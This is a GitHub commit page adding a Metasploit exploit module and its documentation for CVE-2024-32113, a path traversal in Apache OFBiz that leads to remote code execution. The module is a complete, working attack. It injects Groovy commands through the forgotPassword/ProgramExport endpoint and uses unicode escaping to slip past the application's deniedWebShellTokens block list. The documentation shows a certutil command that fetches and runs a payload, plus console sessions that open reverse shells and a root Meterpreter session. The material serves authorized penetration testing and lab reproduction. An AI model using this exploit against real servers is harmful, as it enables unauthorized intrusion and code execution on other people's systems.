Skip to content

Commit

Permalink
Apache OFBiz Dir Traversal RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Jun 7, 2024
1 parent 36e2953 commit 1703ae6
Show file tree
Hide file tree
Showing 2 changed files with 241 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
endpoint `/webtools/control/forgotPassword` allows an attacker to access the `ProgramExport` endpoint which in
turn allows for remote code execution in the context of the user running the application.

### Description
The module can exploit Apache OFBiz running on both Windows and Linux. OFBiz has list of `deniedWebShellTokens`
which includes strings like `curl` and `chmod` which attempts to prevent ProgramExport from being exploited. The list
can be bypassed if you encode your payload in unicode characters, which is what is done for payloads being sent to
Apache OFBiz running on Linux. Trying to do the same on Windows results in the application throwing errors complaining
about multiple characters.
```
<p>The Following Errors Occurred:</p>
<p>org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 1: unexpected char: &#39;:&#39; @ line 1, column 49.
```

Which is why the following: `'BadChars' => "\x3a"` has been added. Adding BadChars changes the payload
to be Base64 encoded and gets powershell to decode and run it: `powershell -w hidden -nop -e <Base64 encoded payload>`
However if you have a fetch payload selected which separates the downloading of the payload from the execution of the
payload with an ampersand:
`certutil -urlcache -f http://172.16.199.1:8080/-LHoYC22ccefBZaLFchCEQ %TEMP%\\kBAJaFov.exe & start /B %TEMP%\\kBAJaFov.exe`,
powershell doesn't interpret the ampersand in the same way cmd.exe would and thus will try to execute the payload before
it's finished downloading.

This is why, at the time of writing, a PowerShell payload must be used when exploit a target running on Windows.

### Setup

#### Docker

1. Run the following docker command to spin up a vulnerable target:
`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`

#### Windows 10 (Build 19045)

1. Download the Java 8 JDK from https://download.java.net/openjdk/jdk8u41/ri/openjdk-8u41-b04-windows-i586-14_jan_2020.zip
1. Unzip the JDK to a target directory.
1. Edit `JAVA_HOME` environment variable and set it to the location where you extracted the Java 8 JDK.
1. Update the `PATH` environment variable to include a path to the same location as `JAVA_HOME`, but with `\bin` at the end of it.
1. Download a vulnerable version of Apache OFBiz from https://archive.apache.org/dist/ofbiz/apache-ofbiz-18.12.12.zip
1. Create the directory: `C:\ofbiz`.
1. Unzip the contents of `apache-ofbiz-18.12.12.zip` into `C:\ofbiz`.
1. Run `cd C:\ofbiz`.
1. Run `init-gradle-wrapper` to initialize the Gradle wrapper.
1. Run `.\gradlew cleanAll loadAll` to clean the system and load the complete OFBiz data.
1. Once the above completes run `.\gradlew ofbiz` to start the application
1. Navigate to `https://localhost:8443/webtools`


## Verification Steps

1. Start msfconsole
1. Do: `use `
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.

## Scenarios
### Apache OFBiz 18.12.12 running on Windows 10 (Build 19045)
```
msf6 > use apache_ofbiz_forgot_password_directory_traversal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal 2024-05-30 excellent Yes Apache OFBiz Forgot Password Directory Traversal
1 \_ target: Linux Command . . . .
2 \_ target: Windows Command . . . .
Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command'
[*] Using exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > use 2
[*] Additionally setting TARGET => Windows Command
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run rhosts=172.16.199.132 lhost=172.16.199.1 rport=8443 ssl=true
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Tested command injection successfully
[*] Attempting to exploit...
[*] Powershell session session 1 opened (172.16.199.1:4444 -> 172.16.199.132:50229) at 2024-06-07 12:44:48 -0400
PS C:\ofbiz> whoami
desktop-n3oru31\msfuser
PS C:\ofbiz> systeminfo
Host Name: DESKTOP-N3ORU31
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
```

### Apache OFBiz 18.12.12 running in Docker on MacOS 14.5
```
msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run target=0 payload=cmd/linux/http/x64/meterpreter/reverse_tcp rhosts=172.16.199.1 lhost=172.16.199.1 rport=8443 ssl=true
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Tested command injection successfully
[*] Attempting to exploit...
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:54454) at 2024-06-07 13:02:01 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian 11.4 (Linux 6.6.26-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz Forgot Password Directory Traversal',
'Description' => %q{
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
turn allows for remote code execution in the context of the user running the application.
},
'Author' => [
'Mr-xn', # PoC
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
[ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
[ 'CVE', '2024-32113']
],
'License' => MSF_LICENSE,
'Platform' => %w[linux win],
'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd
}
],
[
'Windows Command',
{
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Type' => :win_cmd,
'DefaultOptions' => {
'WritableDir' => '%TEMP%',
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' # Must be a powershell payload. More info in the documentation's ### Description section
}
}
],
],
'Payload' => {
'BadChars' => "\x3a"
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-05-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
end

def send_cmd_injection(cmd)
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),
'headers' => {
'HOST' => '127.0.0.1'
},
'method' => 'POST',
'data' => data
})
end

def check
echo_test_string = rand_text_alpha(8..12)
case target['Type']
when :win_cmd
test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")
when :unix_cmd
test_payload = to_unicode_escape("echo #{echo_test_string}")
else
return CheckCode::Unknown('Please select a valid target')
end

res = send_cmd_injection(test_payload)
return CheckCode::Unknown('Target did not respond to check.') unless res

unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?
return CheckCode::Vulnerable('Tested command injection successfully')
end

CheckCode::Safe
end

def to_unicode_escape(str)
str.chars.map { |char| '\\u%04x' % char.ord }.join
end

def exploit
print_status('Attempting to exploit...')
res = ''
case target['Type']
when :win_cmd
print_status(payload.encoded)
res = send_cmd_injection(payload.encoded)
when :unix_cmd
res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
print_error('The target responded to the exploit attempt which is not expected. The exploit likely failed') if res
end
end

0 comments on commit 1703ae6

Please sign in to comment.